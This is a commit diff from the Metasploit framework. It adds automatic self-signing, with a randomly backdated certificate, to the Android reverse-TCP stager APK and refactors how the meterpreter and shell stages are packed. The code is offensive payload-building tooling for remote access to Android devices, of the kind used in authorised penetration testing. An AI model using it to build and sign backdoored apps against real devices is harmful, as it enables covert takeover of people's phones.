Skip to content

Commit 13d2d6e

Browse files
timwrtimwr
authored andcommitted
Merge pull request #1 from jlee-r7/landing-1708-android-meterp
Add in-line signing
2 parents 0d0c728 + 6767eee commit 13d2d6e

File tree

4 files changed

+42
-14
lines changed

4 files changed

+42
-14
lines changed

lib/msf/core/payload/dalvik.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -10,10 +10,10 @@ module Msf::Payload::Dalvik
1010
def fix_dex_header(dexfile)
1111
dexfile = dexfile.unpack('a8LH40a*')
1212
dexfile[2] = Digest::SHA1.hexdigest(dexfile[3])
13-
dexfile[1] = Zlib::adler32(dexfile[2..-1].pack('H40a*'))
13+
dexfile[1] = Zlib.adler32(dexfile[2..-1].pack('H40a*'))
1414
dexfile.pack('a8LH40a*')
1515
end
16-
16+
1717
#
1818
# We could compile the .class files with dx here
1919
#
@@ -26,6 +26,10 @@ def generate_stage
2626
def generate
2727
generate_jar.pack
2828
end
29-
29+
30+
def java_string(str)
31+
[str.length].pack("N") + str
32+
end
33+
3034
end
3135

modules/payloads/stagers/android/reverse_tcp.rb

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,32 @@ def generate_jar(opts={})
5151
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
5252
jar.build_manifest
5353

54-
#jar.sign(@key, @cert, @ca_certs) '~/.android/debug.keystore' -sigalg MD5withRSA -digestalg SHA1?
54+
x509_name = OpenSSL::X509::Name.parse(
55+
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
56+
)
57+
key = OpenSSL::PKey::RSA.new(1024)
58+
cert = OpenSSL::X509::Certificate.new
59+
cert.version = 2
60+
cert.serial = 1
61+
cert.subject = x509_name
62+
cert.issuer = x509_name
63+
cert.public_key = key.public_key
64+
65+
# Some time within the last 3 years
66+
cert.not_before = Time.now - rand(3600*24*365*3)
67+
68+
# From http://developer.android.com/tools/publishing/app-signing.html
69+
# """
70+
# A validity period of more than 25 years is recommended.
71+
#
72+
# If you plan to publish your application(s) on Google Play, note
73+
# that a validity period ending after 22 October 2033 is a
74+
# requirement. You can not upload an application if it is signed
75+
# with a key whose validity expires before that date.
76+
# """
77+
cert.not_after = cert.not_before + 3600*24*365*30 # 30 years
78+
79+
jar.sign(key, cert, [cert])
5580

5681
jar
5782
end

modules/payloads/stages/android/meterpreter.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -44,9 +44,8 @@ def generate_stage
4444
file = File.join(Msf::Config.data_directory, "android", "meterpreter.jar")
4545
met = File.open(file, "rb") {|f| f.read(f.stat.size) }
4646

47-
# All of the dendencies to create a dalvik loader, followed by the length of the classname to load,
48-
# followed by the classname, followed by the length of the jar and the jar itself.
49-
[clazz.length].pack("N") + clazz + [metstage.length].pack("N") + metstage + [met.length].pack("N") + met
47+
# Name of the class to load from the stage, the actual jar to load
48+
# it from, and then finally the meterpreter stage
49+
java_string(clazz) + java_string(metstage) + java_string(met)
5050
end
51-
5251
end

modules/payloads/stages/android/shell.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -34,16 +34,16 @@ def initialize(info = {})
3434
end
3535

3636
#
37-
# Override the Payload::Dalvik version so we can load a prebuilt jar to be
38-
# used as the final stage
37+
# Override the {Payload::Dalvik} version so we can load a prebuilt jar
38+
# to be used as the final stage
3939
#
4040
def generate_stage
4141
clazz = 'androidpayload.stage.Shell'
4242
file = File.join(Msf::Config.data_directory, "android", "shell.jar")
43-
met = File.open(file, "rb") {|f| f.read(f.stat.size) }
43+
shell_jar = File.open(file, "rb") {|f| f.read(f.stat.size) }
4444

45-
# All of the dendencies to create a dalvik loader, followed by the length of the classname to load,
46-
# followed by the classname, followed by the length of the jar and the jar itself.
47-
[clazz.length].pack("N") + clazz + [met.length].pack("N") + met
45+
# Name of the class to load from the stage, and then the actual jar
46+
# to load it from
47+
java_string(clazz) + java_string(shell_jar)
4848
end
4949
end

0 commit comments

Comments
 (0)